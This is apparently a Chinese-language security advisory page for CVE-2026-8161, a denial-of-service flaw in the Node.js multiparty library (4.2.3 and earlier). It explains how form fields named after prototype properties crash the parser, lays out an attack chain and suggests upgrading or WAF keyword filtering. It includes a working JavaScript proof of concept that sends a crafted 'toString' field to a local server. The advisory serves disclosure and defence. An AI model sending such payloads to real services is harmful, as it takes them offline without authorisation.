IPBUF安全漏洞报告
English
CVE-2026-8161 CVSS 7.5 高危

CVE-2026-8161: multiparty库拒绝服务漏洞

披露日期: 2026-05-12
来源: ce714d77-add3-4f53-aff5-83d477b104bb

漏洞信息

漏洞编号
CVE-2026-8161
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
multiparty

相关标签

拒绝服务DoSNode.jsCVE-2026-8161multiparty原型链污染

漏洞概述

CVE-2026-8161 是一个存在于 Node.js multiparty 库 4.2.3 及更低版本中的拒绝服务漏洞。该漏洞由于解析器在处理 multipart/form-data 请求时未对字段名进行严格校验导致。攻击者可以通过发送特制的 HTTP 请求,其中包含与 JavaScript Object.prototype 属性(如 __proto__、constructor 或 toString)同名的表单字段。当解析器处理这些字段时,会错误地尝试在继承的原型对象上调用数组方法 .push(),从而抛出未捕获的 TypeError 异常。这会导致正在处理请求的 Node.js 进程崩溃,造成服务不可用。该漏洞利用门槛低,无需认证且无需用户交互即可触发,对依赖该库进行文件上传处理的服务构成严重威胁。

技术细节

该漏洞的深层原理在于 JavaScript 的原型链继承机制与 multiparty 库内部数据处理逻辑的冲突。在 multiparty 解析表单数据时,它通常会将接收到的字段存储在一个内部对象中,并假设每个字段对应的值是一个数组结构,以便处理多值字段。代码逻辑中通常包含类似 `fields[fieldName].push(value)` 的操作。

问题在于,如果攻击者将 fieldName 设置为 JavaScript 内置的原型属性名,例如 'toString'。在访问普通对象的 `obj['toString']` 时,由于对象自身没有该属性,JavaScript 引擎会沿着原型链向上查找,最终返回 `Object.prototype.toString` 这个函数对象。multiparty 库在旧版本中没有防止这种情况的机制,它会将这个函数对象误认为是数组容器,并尝试调用 `.push()` 方法。

由于函数对象没有 `.push()` 方法,运行时环境会立即抛出 TypeError。如果应用程序代码中没有针对 multipart 解析的特定 try-catch 块,该异常将作为一个未捕获的异常(Uncaught Exception)直接传递给 Node.js 的事件循环。根据 Node.js 的运行机制,未捕获的异常会导致当前进程立即终止,从而实现拒绝服务攻击。这种攻击方式不需要复杂的内存破坏操作,仅通过构造特定的数据包即可使服务瘫痪。

攻击链分析

STEP 1
侦察
攻击者识别出目标网站或服务使用了 Node.js 环境并依赖 multiparty 库来处理文件上传。
STEP 2
武器化
攻击者构造一个恶意的 multipart/form-data HTTP POST 请求,将表单字段名设置为 JavaScript 原型属性(如 'toString')。
STEP 3
交付
攻击者将构造好的恶意请求发送给目标服务器的上传接口。
STEP 4
利用
multiparty 解析器处理请求,当遇到 'toString' 字段时,试图在 Object.prototype 的函数对象上执行 .push() 操作。
STEP 5
影响
代码抛出未捕获的 TypeError 异常,导致 Node.js 进程崩溃,服务停止响应,达成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const http = require('http'); const multiparty = require('multiparty'); const FormData = require('form-data'); // Create a vulnerable server instance const server = http.createServer((req, res) => { if (req.method === 'POST') { const form = new multiparty.Form(); form.parse(req, (err, fields, files) => { if (err) { res.writeHead(500); res.end('Parse error'); return; } res.writeHead(200); res.end('OK'); }); } else { res.writeHead(200); res.end('Please send a POST request'); } }); server.listen(3000, async () => { console.log('Vulnerable server listening on port 3000...'); // Prepare the malicious payload // 'toString' is a property on Object.prototype const form = new FormData(); form.append('toString', 'payload_that_crashes_server'); // Send the request const submit = form.submit('http://localhost:3000', (err, res) => { if (err) { console.log('[+] Exploit successful: Server crashed or connection reset.'); console.log(' Error:', err.message); } else { console.log('[-] Exploit failed: Server responded (might be patched).'); } server.close(); }); });

影响范围

multiparty <= 4.2.3

防御指南

临时缓解措施
目前官方未提供除升级外的完美临时缓解方案。建议开发者立即检查项目依赖,尽快升级到修复版本。在无法立即升级的情况下,可以考虑在 Web 服务器(如 Nginx)或应用防火墙(WAF)层面,配置规则拦截请求体中包含 '__proto__'、'constructor'、'toString' 等敏感 JavaScript 关键字作为字段名的请求,但这可能无法覆盖所有攻击场景。

参考链接